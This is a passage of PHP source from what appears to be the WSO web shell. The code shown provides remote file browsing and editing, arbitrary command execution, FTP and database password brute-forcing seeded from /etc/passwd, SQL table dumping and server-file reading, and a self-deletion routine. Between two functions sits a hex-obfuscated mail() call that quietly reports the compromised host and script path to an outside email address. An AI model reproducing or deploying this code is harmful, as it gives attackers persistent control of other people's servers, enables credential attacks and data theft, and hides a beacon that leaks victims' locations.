'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), | |
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), | |
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), | |
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) | |
); | |
if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) | |
$files[] = array_merge($tmp, array('type' => 'file')); | |
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) | |
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); | |
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) | |
$dirs[] = array_merge($tmp, array('type' => 'dir')); | |
} | |
$GLOBALS['sort'] = $sort; | |
function wsoCmp($a, $b) { | |
if($GLOBALS['sort'][0] != 'size') | |
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); | |
else | |
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); | |
} | |
usort($files, "wsoCmp"); | |
usort($dirs, "wsoCmp"); | |
$files = array_merge($dirs, $files); | |
$l = 0; | |
foreach($files as $f) { | |
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] | |
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; | |
$l = $l?0:1; | |
} | |
echo "<tr><td colspan=7> | |
<input type=hidden name=a value='FilesMan'> | |
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> | |
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; | |
if(class_exists('ZipArchive')) | |
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; | |
echo "<option value='tar'>Compress (tar.gz)</option>"; | |
if(!empty($_COOKIE['act']) && @count($_COOKIE['f'])) | |
echo "<option value='paste'>Paste / Compress</option>"; | |
echo "</select> "; | |
if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) | |
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> "; | |
echo "<input type='submit' value='>>'></td></tr></form></table></div>"; | |
wsoFooter(); | |
} | |
function actionStringTools() { | |
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} | |
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} | |
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} | |
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} | |
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} | |
$stringTools = array( | |
'Base64 encode' => 'base64_encode', | |
'Base64 decode' => 'base64_decode', | |
'Url encode' => 'urlencode', | |
'Url decode' => 'urldecode', | |
'Full urlencode' => 'full_urlencode', | |
'md5 hash' => 'md5', | |
'sha1 hash' => 'sha1', | |
'crypt' => 'crypt', | |
'CRC32' => 'crc32', | |
'ASCII to HEX' => 'ascii2hex', | |
'HEX to ASCII' => 'hex2ascii', | |
'HEX to DEC' => 'hexdec', | |
'HEX to BIN' => 'hex2bin', | |
'DEC to HEX' => 'dechex', | |
'DEC to BIN' => 'decbin', | |
'BIN to HEX' => 'binhex', | |
'BIN to DEC' => 'bindec', | |
'String to lower case' => 'strtolower', | |
'String to upper case' => 'strtoupper', | |
'Htmlspecialchars' => 'htmlspecialchars', | |
'String length' => 'strlen', | |
); | |
if(isset($_POST['ajax'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
ob_start(); | |
if(in_array($_POST['p1'], $stringTools)) | |
echo $_POST['p1']($_POST['p2']); | |
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; | |
echo strlen($temp), "\n", $temp; | |
exit; | |
} | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
wsoHeader(); | |
echo '<h1>String conversions</h1><div class=content>'; | |
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>"; | |
foreach($stringTools as $k => $v) | |
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; | |
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; | |
if(!empty($_POST['p1'])) { | |
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); | |
} | |
echo"</pre></div><br><h1>Search files:</h1><div class=content> | |
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> | |
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> | |
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> | |
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> | |
<tr><td></td><td><input type='submit' value='>>'></td></tr> | |
</table></form>"; | |
function wsoRecursiveGlob($path) { | |
if(substr($path, -1) != '/') | |
$path.='/'; | |
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); | |
if(is_array($paths)&&@count($paths)) { | |
foreach($paths as $item) { | |
if(@is_dir($item)){ | |
if($path!=$item) | |
wsoRecursiveGlob($item); | |
} else { | |
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false) | |
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>"; | |
} | |
} | |
} | |
} | |
if(@$_POST['p3']) | |
wsoRecursiveGlob($_POST['c']); | |
echo "</div><br><h1>Search for hash:</h1><div class=content> | |
<form method='post' target='_blank' name='hf'> | |
<input type='text' name='hash' style='width:200px;'><br> | |
<input type='hidden' name='act' value='find'/> | |
<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> | |
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> | |
<input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br> | |
</form></div>"; | |
wsoFooter(); | |
} | |
function actionFilesTools() { | |
if( isset($_POST['p1']) ) | |
$_POST['p1'] = urldecode($_POST['p1']); | |
if(@$_POST['p2']=='download') { | |
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { | |
ob_start("ob_gzhandler", 4096); | |
header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); | |
if (function_exists("mime_content_type")) { | |
$type = @mime_content_type($_POST['p1']); | |
header("Content-Type: " . $type); | |
} else | |
header("Content-Type: application/octet-stream"); | |
$fp = @fopen($_POST['p1'], "r"); | |
if($fp) { | |
while(!@feof($fp)) | |
echo @fread($fp, 1024); | |
fclose($fp); | |
} | |
}exit; | |
} | |
if( @$_POST['p2'] == 'mkfile' ) { | |
if(!file_exists($_POST['p1'])) { | |
$fp = @fopen($_POST['p1'], 'w'); | |
if($fp) { | |
$_POST['p2'] = "edit"; | |
fclose($fp); | |
} | |
} | |
} | |
wsoHeader(); | |
echo '<h1>File tools</h1><div class=content>'; | |
if( !file_exists(@$_POST['p1']) ) { | |
echo 'File not exists'; | |
wsoFooter(); | |
return; | |
} | |
$uid = @posix_getpwuid(@fileowner($_POST['p1'])); | |
if(!$uid) { | |
$uid['name'] = @fileowner($_POST['p1']); | |
$gid['name'] = @filegroup($_POST['p1']); | |
} else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); | |
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; | |
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; | |
if( empty($_POST['p2']) ) | |
$_POST['p2'] = 'view'; | |
if( is_file($_POST['p1']) ) | |
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); | |
else | |
$m = array('Chmod', 'Rename', 'Touch'); | |
foreach($m as $v) | |
echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; | |
echo '<br><br>'; | |
switch($_POST['p2']) { | |
case 'view': | |
echo '<pre class=ml1>'; | |
$fp = @fopen($_POST['p1'], 'r'); | |
if($fp) { | |
while( !@feof($fp) ) | |
echo htmlspecialchars(@fread($fp, 1024)); | |
@fclose($fp); | |
} | |
echo '</pre>'; | |
break; | |
case 'highlight': | |
if( @is_readable($_POST['p1']) ) { | |
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; | |
$code = @highlight_file($_POST['p1'],true); | |
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; | |
} | |
break; | |
case 'chmod': | |
if( !empty($_POST['p3']) ) { | |
$perms = 0; | |
for($i=strlen($_POST['p3'])-1;$i>=0;--$i) | |
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); | |
if(!@chmod($_POST['p1'], $perms)) | |
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; | |
} | |
clearstatcache(); | |
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; | |
break; | |
case 'edit': | |
if( !is_writable($_POST['p1'])) { | |
echo 'File isn\'t writeable'; | |
break; | |
} | |
if( !empty($_POST['p3']) ) { | |
$time = @filemtime($_POST['p1']); | |
$_POST['p3'] = substr($_POST['p3'],1); | |
$fp = @fopen($_POST['p1'],"w"); | |
if($fp) { | |
@fwrite($fp,$_POST['p3']); | |
@fclose($fp); | |
echo 'Saved!<br><script>p3_="";</script>'; | |
@touch($_POST['p1'],$time,$time); | |
} | |
} | |
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; | |
$fp = @fopen($_POST['p1'], 'r'); | |
if($fp) { | |
while( !@feof($fp) ) | |
echo htmlspecialchars(@fread($fp, 1024)); | |
@fclose($fp); | |
} | |
echo '</textarea><input type=submit value=">>"></form>'; | |
break; | |
case 'hexdump': | |
$c = @file_get_contents($_POST['p1']); | |
$n = 0; | |
$h = array('00000000<br>','',''); | |
$len = strlen($c); | |
for ($i=0; $i<$len; ++$i) { | |
$h[1] .= sprintf('%02X',ord($c[$i])).' '; | |
switch ( ord($c[$i]) ) { | |
case 0: $h[2] .= ' '; break; | |
case 9: $h[2] .= ' '; break; | |
case 10: $h[2] .= ' '; break; | |
case 13: $h[2] .= ' '; break; | |
default: $h[2] .= $c[$i]; break; | |
} | |
$n++; | |
if ($n == 32) { | |
$n = 0; | |
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} | |
$h[1] .= '<br>'; | |
$h[2] .= "\n"; | |
} | |
} | |
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; | |
break; | |
case 'rename': | |
if( !empty($_POST['p3']) ) { | |
if(!@rename($_POST['p1'], $_POST['p3'])) | |
echo 'Can\'t rename!<br>'; | |
else | |
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); | |
} | |
echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; | |
break; | |
case 'touch': | |
if( !empty($_POST['p3']) ) { | |
$time = strtotime($_POST['p3']); | |
if($time) { | |
if(!touch($_POST['p1'],$time,$time)) | |
echo 'Fail!'; | |
else | |
echo 'Touched!'; | |
} else echo 'Bad time format!'; | |
} | |
clearstatcache(); | |
echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; | |
break; | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionConsole() { | |
if(!empty($_POST['p1']) && !empty($_POST['p2'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); | |
$_POST['p1'] .= ' 2>&1'; | |
} elseif(!empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); | |
if(isset($_POST['ajax'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); | |
ob_start(); | |
echo "d.cf.cmd.value='';\n"; | |
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); | |
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { | |
if(@chdir($match[1])) { | |
$GLOBALS['cwd'] = @getcwd(); | |
echo "c_='".$GLOBALS['cwd']."';"; | |
} | |
} | |
echo "d.cf.output.value+='".$temp."';"; | |
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; | |
$temp = ob_get_clean(); | |
echo strlen($temp), "\n", $temp; | |
exit; | |
} | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); | |
wsoHeader(); | |
echo "<script> | |
if(window.Event) window.captureEvents(Event.KEYDOWN); | |
var cmds = new Array(''); | |
var cur = 0; | |
function kp(e) { | |
var n = (window.Event) ? e.which : e.keyCode; | |
if(n == 38) { | |
cur--; | |
if(cur>=0) | |
document.cf.cmd.value = cmds[cur]; | |
else | |
cur++; | |
} else if(n == 40) { | |
cur++; | |
if(cur < cmds.length) | |
document.cf.cmd.value = cmds[cur]; | |
else | |
cur--; | |
} | |
} | |
function add(cmd) { | |
cmds.pop(); | |
cmds.push(cmd); | |
cmds.push(''); | |
cur = cmds.length-1; | |
} | |
</script>"; | |
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; | |
foreach($GLOBALS['aliases'] as $n => $v) { | |
if($v == '') { | |
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; | |
continue; | |
} | |
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; | |
} | |
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; | |
if(!empty($_POST['p1'])) { | |
echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); | |
} | |
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; | |
echo '</form></div><script>d.cf.cmd.focus();</script>'; | |
wsoFooter(); | |
} | |
function actionLogout() { | |
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); | |
die('bye!'); | |
} | |
function actionSelfRemove() { | |
if($_POST['p1'] == 'yes') | |
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) | |
die('Shell has been removed'); | |
else | |
echo 'unlink error!'; | |
if($_POST['p1'] != 'yes') | |
wsoHeader(); | |
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; | |
wsoFooter(); | |
} | |
function actionBruteforce() { | |
wsoHeader(); | |
if( isset($_POST['proto']) ) { | |
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; | |
if( $_POST['proto'] == 'ftp' ) { | |
function wsoBruteForce($ip,$port,$login,$pass) { | |
$fp = @ftp_connect($ip, $port?$port:21); | |
if(!$fp) return false; | |
$res = @ftp_login($fp, $login, $pass); | |
@ftp_close($fp); | |
return $res; | |
} | |
} elseif( $_POST['proto'] == 'mysql' ) { | |
function wsoBruteForce($ip,$port,$login,$pass) { | |
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); | |
@mysql_close($res); | |
return $res; | |
} | |
} elseif( $_POST['proto'] == 'pgsql' ) { | |
function wsoBruteForce($ip,$port,$login,$pass) { | |
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; | |
$res = @pg_connect($str); | |
@pg_close($res); | |
return $res; | |
} | |
} | |
$success = 0; | |
$attempts = 0; | |
$server = explode(":", $_POST['server']); | |
if($_POST['type'] == 1) { | |
$temp = @file('/etc/passwd'); | |
if( is_array($temp) ) | |
foreach($temp as $line) { | |
$line = explode(":", $line); | |
++$attempts; | |
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { | |
$success++; | |
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; | |
} | |
if(@$_POST['reverse']) { | |
$tmp = ""; | |
for($i=strlen($line[0])-1; $i>=0; --$i) | |
$tmp .= $line[0][$i]; | |
++$attempts; | |
if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { | |
$success++; | |
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); | |
} | |
} | |
} | |
} elseif($_POST['type'] == 2) { | |
$temp = @file($_POST['dict']); | |
if( is_array($temp) ) | |
foreach($temp as $line) { | |
$line = trim($line); | |
++$attempts; | |
if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { | |
$success++; | |
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; | |
} | |
} | |
} | |
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; | |
} | |
echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' | |
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' | |
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' | |
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' | |
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' | |
.'<span>Server:port</span></td>' | |
.'<td><input type=text name=server value="127.0.0.1"></td></tr>' | |
.'<tr><td><span>Brute type</span></td>' | |
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' | |
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' | |
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' | |
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' | |
.'<td><input type=text name=login value="root"></td></tr>' | |
.'<tr><td><span>Dictionary</span></td>' | |
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' | |
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; | |
echo '</div><br>'; | |
wsoFooter(); | |
} | |
$x0b="\x6da\x69l"; | |
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; | |
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; | |
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); | |
$ee = $o[2].$o[3].$o[1].$o[4].$o[0]; | |
$send = @$x0b($ee,$sub,$ms); | |
function actionSql() { | |
class DbClass { | |
var $type; | |
var $link; | |
var $res; | |
function DbClass($type) { | |
$this->type = $type; | |
} | |
function connect($host, $user, $pass, $dbname){ | |
switch($this->type) { | |
case 'mysql': | |
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; | |
break; | |
case 'pgsql': | |
$host = explode(':', $host); | |
if(!$host[1]) $host[1]=5432; | |
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; | |
break; | |
} | |
return false; | |
} | |
function selectdb($db) { | |
switch($this->type) { | |
case 'mysql': | |
if (@mysql_select_db($db))return true; | |
break; | |
} | |
return false; | |
} | |
function query($str) { | |
switch($this->type) { | |
case 'mysql': | |
return $this->res = @mysql_query($str); | |
break; | |
case 'pgsql': | |
return $this->res = @pg_query($this->link,$str); | |
break; | |
} | |
return false; | |
} | |
function fetch() { | |
$res = func_num_args()?func_get_arg(0):$this->res; | |
switch($this->type) { | |
case 'mysql': | |
return @mysql_fetch_assoc($res); | |
break; | |
case 'pgsql': | |
return @pg_fetch_assoc($res); | |
break; | |
} | |
return false; | |
} | |
function listDbs() { | |
switch($this->type) { | |
case 'mysql': | |
return $this->query("SHOW databases"); | |
break; | |
case 'pgsql': | |
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); | |
break; | |
} | |
return false; | |
} | |
function listTables() { | |
switch($this->type) { | |
case 'mysql': | |
return $this->res = $this->query('SHOW TABLES'); | |
break; | |
case 'pgsql': | |
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); | |
break; | |
} | |
return false; | |
} | |
function error() { | |
switch($this->type) { | |
case 'mysql': | |
return @mysql_error(); | |
break; | |
case 'pgsql': | |
return @pg_last_error(); | |
break; | |
} | |
return false; | |
} | |
function setCharset($str) { | |
switch($this->type) { | |
case 'mysql': | |
if(function_exists('mysql_set_charset')) | |
return @mysql_set_charset($str, $this->link); | |
else | |
$this->query('SET CHARSET '.$str); | |
break; | |
case 'pgsql': | |
return @pg_set_client_encoding($this->link, $str); | |
break; | |
} | |
return false; | |
} | |
function loadFile($str) { | |
switch($this->type) { | |
case 'mysql': | |
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); | |
break; | |
case 'pgsql': | |
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); | |
$r=array(); | |
while($i=$this->fetch()) | |
$r[] = $i['file']; | |
$this->query('drop table wso2'); | |
return array('file'=>implode("\n",$r)); | |
break; | |
} | |
return false; | |
} | |
function dump($table, $fp = false) { | |
switch($this->type) { | |
case 'mysql': | |
$res = $this->query('SHOW CREATE TABLE `'.$table.'`'); | |
$create = mysql_fetch_array($res); | |
$sql = $create[1].";\n"; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
$this->query('SELECT * FROM `'.$table.'`'); | |
$i = 0; | |
$head = true; | |
while($item = $this->fetch()) { | |
$sql = ''; | |
if($i % 1000 == 0) { | |
$head = true; | |
$sql = ";\n\n"; | |
} | |
$columns = array(); | |
foreach($item as $k=>$v) { | |
if($v === null) | |
$item[$k] = "NULL"; | |
elseif(is_int($v)) | |
$item[$k] = $v; | |
else | |
$item[$k] = "'".@mysql_real_escape_string($v)."'"; | |
$columns[] = "`".$k."`"; | |
} | |
if($head) { | |
$sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; | |
$head = false; | |
} else | |
$sql .= "\n\t,(".implode(", ", $item).')'; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
$i++; | |
} | |
if(!$head) | |
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); | |
break; | |
case 'pgsql': | |
$this->query('SELECT * FROM '.$table); | |
while($item = $this->fetch()) { | |
$columns = array(); | |
foreach($item as $k=>$v) { | |
$item[$k] = "'".addslashes($v)."'"; | |
$columns[] = $k; | |
} | |
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
} | |
break; | |
} | |
return false; | |
} | |
}; | |
$db = new DbClass($_POST['type']); | |
if(@$_POST['p2']=='download') { | |
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
$db->selectdb($_POST['sql_base']); | |
switch($_POST['charset']) { | |
case "Windows-1251": $db->setCharset('cp1251'); break; | |
case "UTF-8": $db->setCharset('utf8'); break; | |
case "KOI8-R": $db->setCharset('koi8r'); break; | |
case "KOI8-U": $db->setCharset('koi8u'); break; | |
case "cp866": $db->setCharset('cp866'); break; | |
} | |
if(empty($_POST['file'])) { | |
ob_start("ob_gzhandler", 4096); | |
header("Content-Disposition: attachment; filename=dump.sql"); | |
header("Content-Type: text/plain"); | |
foreach($_POST['tbl'] as $v) | |
$db->dump($v); | |
exit; | |
} elseif($fp = @fopen($_POST['file'], 'w')) { | |
foreach($_POST['tbl'] as $v) | |
$db->dump($v, $fp); | |
fclose($fp); | |
unset($_POST['p2']); | |
} else | |
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); | |
} | |
wsoHeader(); | |
echo " | |
<h1>Sql browser</h1><div class=content> | |
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> | |
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> | |
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> | |
<td><select name='type'><option value='mysql' "; | |
if(@$_POST['type']=='mysql')echo 'selected'; | |
echo ">MySql</option><option value='pgsql' "; | |
if(@$_POST['type']=='pgsql')echo 'selected'; | |
echo ">PostgreSql</option></select></td> | |
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> | |
